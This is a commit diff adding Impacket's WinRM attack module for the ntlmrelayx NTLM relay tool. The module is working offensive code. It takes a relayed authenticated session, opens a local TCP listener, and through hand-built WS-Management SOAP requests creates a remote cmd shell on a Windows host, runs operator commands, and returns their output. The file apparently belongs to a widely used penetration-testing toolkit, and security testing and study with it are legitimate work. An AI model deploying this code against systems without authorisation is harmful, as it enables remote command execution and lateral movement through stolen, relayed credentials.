|
| 1 | +# Impacket - Collection of Python classes for working with network protocols. |
| 2 | +# |
| 3 | +# Copyright (C) 2023 Fortra. All rights reserved. |
| 4 | +# |
| 5 | +# This software is provided under a slightly modified version |
| 6 | +# of the Apache Software License. See the accompanying LICENSE file |
| 7 | +# for more information. |
| 8 | +# |
| 9 | +# Description: |
| 10 | +# WinRM Attack Class |
| 11 | +# |
| 12 | +# Authors: |
| 13 | +# Joe Mondloch ([email protected]) |
| 14 | +# Aurélien Chalot (@Defte_) |
| 15 | + |
| 16 | +import re |
| 17 | +import cmd |
| 18 | +import sys |
| 19 | +import base64 |
| 20 | +from impacket import LOG |
| 21 | +from impacket.examples.ntlmrelayx.attacks import ProtocolAttack |
| 22 | +from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell |
| 23 | + |
| 24 | +PROTOCOL_ATTACK_CLASS = "WINRMAttack" |
| 25 | + |
| 26 | +class WinRMShell(cmd.Cmd): |
| 27 | + |
| 28 | + def __init__(self, tcp_shell, client): |
| 29 | + cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout) |
| 30 | + |
| 31 | + sys.stdout = tcp_shell.stdout |
| 32 | + sys.stdin = tcp_shell.stdin |
| 33 | + sys.stderr = tcp_shell.stdout |
| 34 | + |
| 35 | + self.use_rawinput = False |
| 36 | + self.shell = tcp_shell |
| 37 | + self.client = client |
| 38 | + |
| 39 | + self.prompt = "\n# " |
| 40 | + self.tid = None |
| 41 | + self.intro = "Type help for list of commands" |
| 42 | + self.loggedIn = True |
| 43 | + self.last_output = None |
| 44 | + self.completion = [] |
| 45 | + |
| 46 | + self.shell_id = None |
| 47 | + |
| 48 | + # Getting Shell ID |
| 49 | + initiate_shell = ''' |
| 50 | + <?xml version="1.0" encoding="utf-8"?> |
| 51 | + <env:Envelope |
| 52 | + xmlns:env="http://www.w3.org/2003/05/soap-envelope" |
| 53 | + xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" |
| 54 | + xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" |
| 55 | + xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" |
| 56 | + xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"> |
| 57 | + <env:Header> |
| 58 | + <a:To>http://windows-host:5985/wsman</a:To> |
| 59 | + <a:ReplyTo> |
| 60 | + <a:Address mustUnderstand="true"> |
| 61 | + http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous |
| 62 | + </a:Address> |
| 63 | + </a:ReplyTo> |
| 64 | + <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID> |
| 65 | + <a:Action mustUnderstand="true"> |
| 66 | + http://schemas.xmlsoap.org/ws/2004/09/transfer/Create |
| 67 | + </a:Action> |
| 68 | + <w:ResourceURI mustUnderstand="true"> |
| 69 | + http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd |
| 70 | + </w:ResourceURI> |
| 71 | + <w:OperationTimeout>PT20S</w:OperationTimeout> |
| 72 | + <w:MaxEnvelopeSize mustUnderstand="true">153600</w:MaxEnvelopeSize> |
| 73 | + <w:OptionSet> |
| 74 | + <w:Option Name="WINRS_NOPROFILE">FALSE</w:Option> |
| 75 | + <w:Option Name="WINRS_CODEPAGE">437</w:Option> |
| 76 | + </w:OptionSet> |
| 77 | + <w:Locale xml:lang="en-US"/> |
| 78 | + <p:DataLocale xml:lang="en-US"/> |
| 79 | + </env:Header> |
| 80 | + <env:Body> |
| 81 | + <rsp:Shell> |
| 82 | + <rsp:InputStreams>stdin</rsp:InputStreams> |
| 83 | + <rsp:OutputStreams>stdout stderr</rsp:OutputStreams> |
| 84 | + </rsp:Shell> |
| 85 | + </env:Body> |
| 86 | + </env:Envelope> |
| 87 | + ''' |
| 88 | + |
| 89 | + headers = { |
| 90 | + "Content-Length": len(initiate_shell), |
| 91 | + "Content-Type": "application/soap+xml;charset=UTF-8" |
| 92 | + } |
| 93 | + |
| 94 | + self.client.request("POST", "/wsman", headers=headers, body=initiate_shell) |
| 95 | + res = self.client.getresponse() |
| 96 | + |
| 97 | + # Retrieve ShellID |
| 98 | + if match := re.search(r'<w:Selector\s+Name="ShellId">(.*?)</w:Selector>', res.read().decode()): |
| 99 | + self.shell_id = match.group(1) |
| 100 | + |
| 101 | + def emptyline(self): |
| 102 | + pass |
| 103 | + |
| 104 | + def onecmd(self, command): |
| 105 | + if not command.strip(): |
| 106 | + return |
| 107 | + |
| 108 | + if command.strip() == "exit": |
| 109 | + self.do_exit() |
| 110 | + |
| 111 | + # Send Command XML |
| 112 | + execute_command_xml = f''' |
| 113 | + <?xml version="1.0" encoding="utf-8"?> |
| 114 | + <env:Envelope |
| 115 | + xmlns:env="http://www.w3.org/2003/05/soap-envelope" |
| 116 | + xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" |
| 117 | + xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" |
| 118 | + xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"> |
| 119 | + <env:Header> |
| 120 | + <a:To>http://windows-host:5985/wsman</a:To> |
| 121 | + <a:ReplyTo> |
| 122 | + <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> |
| 123 | + </a:ReplyTo> |
| 124 | + <a:Action mustUnderstand="true"> |
| 125 | + http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command |
| 126 | + </a:Action> |
| 127 | + <a:MessageID>uuid:10000000-0000-0000-0000-000000000002</a:MessageID> |
| 128 | + <w:ResourceURI mustUnderstand="true"> |
| 129 | + http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd |
| 130 | + </w:ResourceURI> |
| 131 | + <w:SelectorSet> |
| 132 | + <w:Selector Name="ShellId">{self.shell_id}</w:Selector> |
| 133 | + </w:SelectorSet> |
| 134 | + </env:Header> |
| 135 | + <env:Body> |
| 136 | + <rsp:CommandLine> |
| 137 | + <rsp:Command>{command}</rsp:Command> |
| 138 | + </rsp:CommandLine> |
| 139 | + </env:Body> |
| 140 | + </env:Envelope> |
| 141 | + ''' |
| 142 | + |
| 143 | + self.client.request("POST", "/wsman", headers={ |
| 144 | + "Content-Length": str(len(execute_command_xml)), |
| 145 | + "Content-Type": "application/soap+xml;charset=UTF-8" |
| 146 | + }, body=execute_command_xml) |
| 147 | + |
| 148 | + response = self.client.getresponse() |
| 149 | + body = response.read().decode() |
| 150 | + |
| 151 | + command_id = re.search(r"<rsp:CommandId>(.*?)</rsp:CommandId>", body).group(1) |
| 152 | + receive_xml = f''' |
| 153 | + <?xml version="1.0" encoding="utf-8"?> |
| 154 | + <env:Envelope |
| 155 | + xmlns:env="http://www.w3.org/2003/05/soap-envelope" |
| 156 | + xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" |
| 157 | + xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" |
| 158 | + xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"> |
| 159 | + <env:Header> |
| 160 | + <a:To>http://windows-host:5985/wsman</a:To> |
| 161 | + <a:ReplyTo> |
| 162 | + <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> |
| 163 | + </a:ReplyTo> |
| 164 | + <a:Action mustUnderstand="true"> |
| 165 | + http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive |
| 166 | + </a:Action> |
| 167 | + <a:MessageID>uuid:2a8ac24f-00f0-4a87-860c-bf58d33a1e0a</a:MessageID> |
| 168 | + <w:ResourceURI mustUnderstand="true"> |
| 169 | + http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd |
| 170 | + </w:ResourceURI> |
| 171 | + <w:SelectorSet> |
| 172 | + <w:Selector Name="ShellId">{self.shell_id}</w:Selector> |
| 173 | + </w:SelectorSet> |
| 174 | + </env:Header> |
| 175 | + <env:Body> |
| 176 | + <rsp:Receive> |
| 177 | + <rsp:DesiredStream CommandId="{command_id}">stdout stderr</rsp:DesiredStream> |
| 178 | + </rsp:Receive> |
| 179 | + </env:Body> |
| 180 | + </env:Envelope> |
| 181 | + ''' |
| 182 | + |
| 183 | + self.client.request("POST", "/wsman", headers={ |
| 184 | + "Content-Length": str(len(receive_xml)), |
| 185 | + "Content-Type": "application/soap+xml;charset=UTF-8" |
| 186 | + }, body=receive_xml) |
| 187 | + |
| 188 | + response = self.client.getresponse() |
| 189 | + body = response.read().decode() |
| 190 | + |
| 191 | + # Extract and decode output |
| 192 | + matches = re.findall(r'<rsp:Stream Name="stdout"[^>]*>(.*?)</rsp:Stream>', body) |
| 193 | + for match in matches: |
| 194 | + try: |
| 195 | + command_output = base64.b64decode(match).decode("utf-8", errors="ignore").strip() |
| 196 | + if command_output: |
| 197 | + print(command_output) |
| 198 | + except Exception as e: |
| 199 | + LOG.error(f"Failed to decode output: {e}") |
| 200 | + print(match) |
| 201 | + |
| 202 | + def do_exit(self): |
| 203 | + # This request is used to clean up the previously used ShellID |
| 204 | + destroy_shell = f''' |
| 205 | + <?xml version="1.0" encoding="utf-8"?> |
| 206 | + <env:Envelope |
| 207 | + xmlns:env="http://www.w3.org/2003/05/soap-envelope" |
| 208 | + xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" |
| 209 | + xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"> |
| 210 | + <env:Header> |
| 211 | + <a:To>http://windows-host:5985/wsman</a:To> |
| 212 | + <a:ReplyTo> |
| 213 | + <a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> |
| 214 | + </a:ReplyTo> |
| 215 | + <a:Action mustUnderstand="true"> |
| 216 | + http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete |
| 217 | + </a:Action> |
| 218 | + <a:MessageID>uuid:10000000-0000-0000-0000-000000000004</a:MessageID> |
| 219 | + <w:ResourceURI mustUnderstand="true"> |
| 220 | + http://schemas.microsoft.com/wbem/wsman/1/windows/shell/cmd |
| 221 | + </w:ResourceURI> |
| 222 | + <w:SelectorSet> |
| 223 | + <w:Selector Name="ShellId">{self.shell_id}</w:Selector> |
| 224 | + </w:SelectorSet> |
| 225 | + </env:Header> |
| 226 | + <env:Body/> |
| 227 | + </env:Envelope> |
| 228 | + ''' |
| 229 | + |
| 230 | + headers = { |
| 231 | + "Content-Length": len(destroy_shell), |
| 232 | + "Content-Type": "application/soap+xml;charset=UTF-8" |
| 233 | + } |
| 234 | + |
| 235 | + self.client.request("POST", "/wsman", headers=headers, body=destroy_shell) |
| 236 | + res = self.client.getresponse() |
| 237 | + res.read() |
| 238 | + |
| 239 | + if self.shell is not None: |
| 240 | + self.shell.close() |
| 241 | + |
| 242 | + LOG.info("WinRM shell destroyed successfully. You can now leave the NC shell :)") |
| 243 | + return True |
| 244 | + |
| 245 | + def do_EOF(self, line): |
| 246 | + print("Bye!\n") |
| 247 | + return True |
| 248 | + |
| 249 | +class WINRMAttack(ProtocolAttack): |
| 250 | + PLUGIN_NAMES = ["WINRMS"] |
| 251 | + |
| 252 | + def __init__(self, config, WINRMClient, username): |
| 253 | + ProtocolAttack.__init__(self, config, WINRMClient, username) |
| 254 | + self.tcp_shell = TcpShell() |
| 255 | + |
| 256 | + def run(self): |
| 257 | + LOG.info(f"Started interactive WinRMS shell via TCP on 127.0.0.1:{self.tcp_shell.port}") |
| 258 | + self.tcp_shell.listen() |
| 259 | + shell = WinRMShell(self.tcp_shell, self.client) |
| 260 | + shell.cmdloop() |
0 commit comments